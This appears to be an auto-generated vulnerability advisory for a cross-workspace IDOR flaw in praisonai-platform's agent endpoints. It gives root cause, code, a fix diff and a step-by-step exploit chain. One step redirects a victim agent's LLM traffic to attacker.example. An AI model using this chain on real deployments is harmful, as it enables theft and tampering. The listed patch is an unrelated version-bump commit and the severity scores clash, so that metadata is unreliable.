VYPR
High severity8.3NVD Advisory· Published Jun 5, 2026· Updated Jun 5, 2026

praisonai-platform: Agent endpoints accept any agent_id without workspace ownership check, cross-workspace read/update/delete IDOR

CVE-2026-47419

Description

Summary

Type: Insecure Direct Object Reference. The agent CRUD endpoints (GET / PATCH / DELETE /workspaces/{workspace_id}/agents/{agent_id}) gate access on require_workspace_member(workspace_id) only, then resolve agent_id through AgentService.get(agent_id) which is a primary-key lookup with no workspace constraint. A user who is a member of any workspace W1 can read, modify, or delete agents that belong to a different workspace W2 by guessing or harvesting an agent UUID and calling …/workspaces/W1/agents/. File: src/praisonai-platform/praisonai_platform/services/agent_service.py, lines 53-112; route handlers at src/praisonai-platform/praisonai_platform/api/routes/agents.py, lines 53-100. Root cause: the route extracts workspace_id from the URL path and passes it to require_workspace_member for the membership check, but never threads it through to the service layer. AgentService.get calls session.get(Agent, agent_id), which is SELECT * FROM agents WHERE id = :agent_id with no AND workspace_id = :workspace_id. update and delete call self.get(agent_id) first and then mutate the returned row, inheriting the same gap. The MemberService is the one place in this codebase that does this correctly: it uses (workspace_id, user_id) as a composite key. The agent service simply forgot the second predicate, which is the textbook GHSA pattern for FastAPI services that treat routing parameters as decorative rather than authoritative.

Affected

Code

File 1: src/praisonai-platform/praisonai_platform/services/agent_service.py, lines 53-55 and 105-112.

class AgentService:
    ...

    async def get(self, agent_id: str) -> Optional[Agent]:
        """Get agent by ID."""
        return await self._session.get(Agent, agent_id)            # <-- BUG: no workspace_id predicate

    async def update(
        self,
        agent_id: str,
        name: Optional[str] = None,
        ...
    ) -> Optional[Agent]:
        agent = await self.get(agent_id)                           # <-- inherits the same gap
        if agent is None:
            return None
        ...
        return agent

    async def delete(self, agent_id: str) -> bool:
        agent = await self.get(agent_id)                           # <-- inherits the same gap
        if agent is None:
            return False
        await self._session.delete(agent)
        await self._session.flush()
        return True

File 2: src/praisonai-platform/praisonai_platform/api/routes/agents.py, lines 53-101.

@router.get("/{agent_id}", response_model=AgentResponse)
async def get_agent(
    workspace_id: str,
    agent_id: str,
    user: AuthIdentity = Depends(require_workspace_member),         # only checks membership in workspace_id
    session: AsyncSession = Depends(get_db),
):
    svc = AgentService(session)
    agent = await svc.get(agent_id)                                 # <-- workspace_id never passed; svc.get returns any agent in the DB
    if agent is None:
        raise HTTPException(status_code=404, detail="Agent not found")
    return AgentResponse.model_validate(agent)

The update_agent (lines 67-87) and delete_agent (lines 90-100) handlers exhibit the same pattern: they receive workspace_id via path parameter, use it solely for the membership gate, then call svc.update(agent_id, ...) / svc.delete(agent_id) without re-checking which workspace the agent actually belongs to.

Why it's wrong: the workspace_id segment in the route is treated as a UI hint (it gates "are you in some workspace W?") rather than an authoritative predicate (it should also gate "is the resource you are addressing actually inside W?"). A standard fix in FastAPI/SQLAlchemy services is to make the resource-lookup query include the workspace predicate and treat absence as 404, so that a foreign-workspace agent is indistinguishable from a non-existent one. The codebase already does this correctly in MemberService.get(workspace_id, user_id) and in *.list_for_workspace(workspace_id, ...) — the gap is specific to the single-row get / update / delete paths.

Exploit

Chain

  1. Attacker registers two accounts (or recruits a single workspace member) and creates two workspaces: W_attacker (attacker is a member) and obtains a known agent_id from W_target (a workspace the attacker is NOT a member of). Agent IDs are uuid4 strings (DB column default), but they leak through several side channels: user-list endpoints when an agent is mentioned in an issue body, the activity feed (activity.py:log records entity_id=agent.id), webhook payloads, error messages, exported issue dumps, or simply by enumeration if the deployment does not rotate IDs frequently. State: attacker holds a target agent UUID A_T.
  2. Attacker authenticates and POSTs Authorization: Bearer <attacker_jwt> to GET /workspaces/W_attacker/agents/A_T. require_workspace_member(W_attacker, attacker) returns the attacker's identity (they are a member of W_attacker). State: control flow enters get_agent with workspace_id=W_attacker, agent_id=A_T.
  3. AgentService.get(A_T) runs session.get(Agent, "A_T"), which is SELECT * FROM agents WHERE id = 'A_T' LIMIT 1. The query has no workspace_id = 'W_attacker' filter and returns the row — including its instructions, runtime_config, name, status, owner_id, etc — even though agent.workspace_id == 'W_target'. State: response body is the JSON-serialised target agent.
  4. Attacker repeats with PATCH /workspaces/W_attacker/agents/A_T and a body of {"instructions": "", "runtime_mode": "cloud", "runtime_config": {"api_base": "https://attacker.example/v1", "api_key": ""}}. update_agent calls svc.update(A_T, ...) which loads the target row and mutates the listed fields. State: the foreign workspace's agent now has attacker-chosen instructions and routes its LLM traffic through attacker.example.
  5. Attacker calls DELETE /workspaces/W_attacker/agents/A_T to wipe the target agent altogether, or repeats step 4 against every agent UUID they can harvest. State: target workspace's agent fleet is destroyed or backdoored.

Security

Impact

Severity: sec-high. CVSS 8.1: network attack, low complexity, low privileges (any authenticated workspace member), no user interaction, scope unchanged (the auth context is the same component), high confidentiality (full agent record including instructions and runtime config), high integrity (arbitrary writes), low availability (DELETE wipes target agents). Attacker capability: with one workspace-member token plus a harvested or guessed agent UUID, an attacker can read the target agent's instructions (often a proprietary system prompt), runtime_config (frequently contains LLM provider URLs and API keys when the deployment uses BYOK), owner_id, and status; rewrite the same fields to redirect the agent's LLM traffic to an attacker-controlled endpoint (proxy-and-log of every prompt, prompt injection of every response); flip status to error to silently break a competitor workspace's agent fleet; or delete the agents outright. Preconditions: praisonai-platform is deployed multi-tenant (more than one workspace exists); the attacker has any membership token; the target agent's UUID is known or guessable (uuid4 randomness is large but UUIDs leak through activity feeds, webhook payloads, issue mentions, error messages, and operator screenshots). Differential: source-inspection-verified end-to-end. The asymmetry between AgentService.get(agent_id) (no workspace check) and MemberService.get(workspace_id, user_id) (composite key check) is the smoking gun: the same author wrote both patterns, but only the member service is tenant-safe. With the suggested fix below applied, AgentService.get(workspace_id, agent_id) returns None when the agent belongs to a different workspace, the route handler returns 404, and the foreign workspace's data is indistinguishable from a missing record.

Suggested

Fix

Make every single-row resource lookup take the workspace predicate. Treat foreign-workspace rows as 404, not 200, so the endpoint does not even confirm that the target ID exists.

--- a/src/praisonai-platform/praisonai_platform/services/agent_service.py
+++ b/src/praisonai-platform/praisonai_platform/services/agent_service.py
@@ -50,9 +50,12 @@ class AgentService:
         await self._session.flush()
         return agent

-    async def get(self, agent_id: str) -> Optional[Agent]:
-        """Get agent by ID."""
-        return await self._session.get(Agent, agent_id)
+    async def get(self, workspace_id: str, agent_id: str) -> Optional[Agent]:
+        """Get agent by ID, scoped to a workspace."""
+        stmt = select(Agent).where(
+            Agent.id == agent_id, Agent.workspace_id == workspace_id
+        )
+        return (await self._session.execute(stmt)).scalar_one_or_none()

     async def list_for_workspace(
         self,
@@ -71,6 +74,7 @@ class AgentService:

     async def update(
         self,
+        workspace_id: str,
         agent_id: str,
         name: Optional[str] = None,
         ...
     ) -> Optional[Agent]:
-        agent = await self.get(agent_id)
+        agent = await self.get(workspace_id, agent_id)
         if agent is None:
             return None
         ...

-    async def delete(self, agent_id: str) -> bool:
+    async def delete(self, workspace_id: str, agent_id: str) -> bool:
-        agent = await self.get(agent_id)
+        agent = await self.get(workspace_id, agent_id)
         if agent is None:
             return False

The route handlers in routes/agents.py then need to pass workspace_id into every svc.get/update/delete call. Repeat the pattern for IssueService, ProjectService, CommentService, and LabelService, which exhibit the same single-key lookup; those should be filed and fixed as separate advisories so each gets its own CVE.

Affected products

1

Patches

1
8c4ab718aeeb

PraisonAI Call API Release

https://github.com/MervinPraison/PraisonAIMervinPraisonOct 17, 2024Fixed in 0.1.4via ghsa-release-walk
7 files changed · +43 14
  • Dockerfile+1 1 modified
    @@ -1,6 +1,6 @@
     FROM python:3.11-slim
     WORKDIR /app
     COPY . .
    -RUN pip install flask praisonai==0.1.3 gunicorn markdown
    +RUN pip install flask praisonai==0.1.4 gunicorn markdown
     EXPOSE 8080
     CMD ["gunicorn", "-b", "0.0.0.0:8080", "api:app"]
    
  • docs/api/praisonai/deploy.html+1 1 modified
    @@ -110,7 +110,7 @@ <h2 id="raises">Raises</h2>
                 file.write(&#34;FROM python:3.11-slim\n&#34;)
                 file.write(&#34;WORKDIR /app\n&#34;)
                 file.write(&#34;COPY . .\n&#34;)
    -            file.write(&#34;RUN pip install flask praisonai==0.1.3 gunicorn markdown\n&#34;)
    +            file.write(&#34;RUN pip install flask praisonai==0.1.4 gunicorn markdown\n&#34;)
                 file.write(&#34;EXPOSE 8080\n&#34;)
                 file.write(&#39;CMD [&#34;gunicorn&#34;, &#34;-b&#34;, &#34;0.0.0.0:8080&#34;, &#34;api:app&#34;]\n&#39;)
                 
    
  • poetry.lock+20 2 modified
    @@ -6258,6 +6258,24 @@ cffi = ">=1.4.1"
     docs = ["sphinx (>=1.6.5)", "sphinx-rtd-theme"]
     tests = ["hypothesis (>=3.27.0)", "pytest (>=3.2.1,!=3.3.0)"]
     
    +[[package]]
    +name = "pyngrok"
    +version = "7.2.0"
    +description = "A Python wrapper for ngrok."
    +optional = true
    +python-versions = ">=3.8"
    +files = [
    +    {file = "pyngrok-7.2.0-py3-none-any.whl", hash = "sha256:1e96ab1229736e2e030fa8975805ab1fa9e463178f83337fc07fdd2b4e8dbed6"},
    +    {file = "pyngrok-7.2.0.tar.gz", hash = "sha256:4e43af9b2f21ceed8d213797028fe8823003f185b49792e4d383302365c81515"},
    +]
    +
    +[package.dependencies]
    +PyYAML = ">=5.1"
    +
    +[package.extras]
    +dev = ["coverage[toml]", "flake8", "flake8-pyproject", "pep8-naming", "psutil"]
    +docs = ["Sphinx", "mypy", "sphinx-autodoc-typehints (==1.25.2)", "sphinx-notfound-page", "sphinx-substitution-extensions", "types-PyYAML"]
    +
     [[package]]
     name = "pyparsing"
     version = "3.2.0"
    @@ -8857,7 +8875,7 @@ type = ["pytest-mypy"]
     agentops = ["agentops"]
     anthropic = ["langchain-anthropic"]
     api = ["flask"]
    -call = ["fastapi", "flaml", "python-dotenv", "twilio", "typer", "uvicorn", "websockets"]
    +call = ["fastapi", "flaml", "pyngrok", "python-dotenv", "rich", "twilio", "typer", "uvicorn", "websockets"]
     chat = ["aiosqlite", "chainlit", "crawl4ai", "greenlet", "litellm", "tavily-python"]
     code = ["aiosqlite", "chainlit", "crawl4ai", "greenlet", "litellm", "tavily-python"]
     cohere = ["langchain-cohere"]
    @@ -8871,4 +8889,4 @@ ui = ["chainlit"]
     [metadata]
     lock-version = "2.0"
     python-versions = ">=3.10,<3.13"
    -content-hash = "74602750ef14d7040dad02842980b2eebbf0ac8c1f4324627602764578814a5a"
    +content-hash = "d246ccacd08ba3599a7b22e222e784396df2385dc76532b56e86bfccaf7522c0"
    
  • praisonai/api/call.py+16 6 modified
    @@ -10,6 +10,8 @@
     from dotenv import load_dotenv
     import typer
     import uvicorn
    +from pyngrok import ngrok
    +from rich import print
     
     load_dotenv()
     
    @@ -151,17 +153,26 @@ async def send_session_update(openai_ws):
         print('Sending session update:', json.dumps(session_update))
         await openai_ws.send(json.dumps(session_update))
     
    -def run_server(port: int):
    +def run_server(port: int, use_ngrok: bool = False):
         """Run the FastAPI server using uvicorn."""
    +    if use_ngrok:
    +        public_url = ngrok.connect(port).public_url
    +        # print(f"Ngrok tunnel established: {public_url}")
    +        print(f"Praison AI Voice URL: {public_url}/call")
    +    
         print(f"Starting Praison AI Call Server on port {port}...")
    -    uvicorn.run(app, host="0.0.0.0", port=port)
    +    uvicorn.run(app, host="0.0.0.0", port=port, log_level="warning")
     
     app_cli = typer.Typer()
     
     @app_cli.command()
    -def main(port: int = typer.Option(8090, help="Port to run the server on")):
    +def main(
    +    port: int = typer.Option(8090, help="Port to run the server on"),
    +    ngrok: bool = typer.Option(False, help="Use ngrok to expose the server")
    +):
         """Run the Praison AI Call Server."""
    -    print(f"Received port value: {port}")  # Debug print
    +    # print(f"Received port value: {port}")  # Debug print
    +    # print(f"Use ngrok: {ngrok}")  # Debug print
         
         # Extract the actual port value from the OptionInfo object
         if isinstance(port, typer.models.OptionInfo):
    @@ -170,9 +181,8 @@ def main(port: int = typer.Option(8090, help="Port to run the server on")):
             port_value = port
         
         port_int = int(port_value)
    -    print(f"Using port: {port_int}")  # Debug print
         
    -    run_server(port=port_int)
    +    run_server(port=port_int, use_ngrok=ngrok)
     
     if __name__ == "__main__":
         app_cli()
    
  • praisonai/deploy.py+1 1 modified
    @@ -56,7 +56,7 @@ def create_dockerfile(self):
                 file.write("FROM python:3.11-slim\n")
                 file.write("WORKDIR /app\n")
                 file.write("COPY . .\n")
    -            file.write("RUN pip install flask praisonai==0.1.3 gunicorn markdown\n")
    +            file.write("RUN pip install flask praisonai==0.1.4 gunicorn markdown\n")
                 file.write("EXPOSE 8080\n")
                 file.write('CMD ["gunicorn", "-b", "0.0.0.0:8080", "api:app"]\n')
                 
    
  • praisonai.rb+1 1 modified
    @@ -3,7 +3,7 @@ class Praisonai < Formula
       
         desc "AI tools for various AI applications"
         homepage "https://github.com/MervinPraison/PraisonAI"
    -    url "https://github.com/MervinPraison/PraisonAI/archive/refs/tags/0.1.3.tar.gz"
    +    url "https://github.com/MervinPraison/PraisonAI/archive/refs/tags/0.1.4.tar.gz"
         sha256 "1828fb9227d10f991522c3f24f061943a254b667196b40b1a3e4a54a8d30ce32"  # Replace with actual SHA256 checksum
         license "MIT"
       
    
  • pyproject.toml+3 2 modified
    @@ -1,6 +1,6 @@
     [tool.poetry]
     name = "PraisonAI"
    -version = "0.1.3"
    +version = "0.1.4"
     description = "PraisonAI application combines AutoGen and CrewAI or similar frameworks into a low-code solution for building and managing multi-agent LLM systems, focusing on simplicity, customization, and efficient human-agent collaboration."
     authors = ["Mervin Praison"]
     license = ""
    @@ -44,6 +44,7 @@ uvicorn = {version = ">=0.20.0", optional = true}
     python-dotenv = {version = ">=0.19.0", optional = true}
     typer = {version = ">=0.9.0", optional = true}
     flaml = {version = ">=2.3.1", extras = ["automl"], optional = true}
    +pyngrok = {version = ">=1.4.0", optional = true}
     
     [tool.poetry.group.docs.dependencies]
     mkdocs = "*"
    @@ -118,7 +119,7 @@ chat = ["chainlit", "litellm", "aiosqlite", "greenlet", "tavily-python", "crawl4
     code = ["chainlit", "litellm", "aiosqlite", "greenlet", "tavily-python", "crawl4ai"]
     train = ["setup-conda-env"]
     realtime = ["chainlit", "litellm", "aiosqlite", "greenlet", "tavily-python", "crawl4ai", "websockets", "plotly", "yfinance", "duckduckgo_search"]
    -call = ["twilio", "fastapi", "uvicorn", "websockets", "python-dotenv", "typer", "flaml"]
    +call = ["twilio", "fastapi", "uvicorn", "websockets", "python-dotenv", "typer", "flaml", "pyngrok", "rich"]
     
     [tool.poetry-dynamic-versioning]
     enable = true
    

Vulnerability mechanics

Root cause

"The agent service layer does not enforce workspace ownership when retrieving, updating, or deleting agents."

Attack vector

An attacker must first obtain an agent's UUID, which can be leaked through various side channels like activity feeds or error messages [ref_id=1]. The attacker then authenticates with their own workspace credentials and makes a request to a CRUD endpoint (e.g., `GET /workspaces/{attacker_workspace_id}/agents/{target_agent_id}`). The endpoint's access control only verifies membership in the attacker's workspace, not ownership of the target agent [ref_id=1]. The service layer then performs a lookup using only the agent ID, returning or modifying the agent regardless of its actual workspace.

Affected code

The vulnerability resides in the `AgentService` class within `src/praisonai-platform/praisonai_platform/services/agent_service.py` (lines 53-55 and 105-112) and the corresponding route handlers in `src/praisonai-platform/praisonai_platform/api/routes/agents.py` (lines 53-101) [ref_id=1]. Specifically, the `get`, `update`, and `delete` methods in `AgentService` fail to include a workspace constraint in their database lookups [ref_id=1].

What the fix does

The fix involves modifying the `AgentService` methods (`get`, `update`, `delete`) to accept and use the `workspace_id` parameter. This ensures that all agent operations are scoped to the correct workspace by adding a `workspace_id` predicate to the database queries. Consequently, attempting to access or modify an agent from a different workspace will result in a "not found" error, effectively preventing cross-workspace access [ref_id=1].

Preconditions

  • configThe `praisonai-platform` must be deployed in a multi-tenant configuration with more than one workspace.
  • authThe attacker must possess valid authentication credentials for any workspace.
  • inputThe attacker must know or be able to guess the UUID of an agent belonging to a different workspace.

Generated on Jun 5, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

2

News mentions

0

No linked articles in our index yet.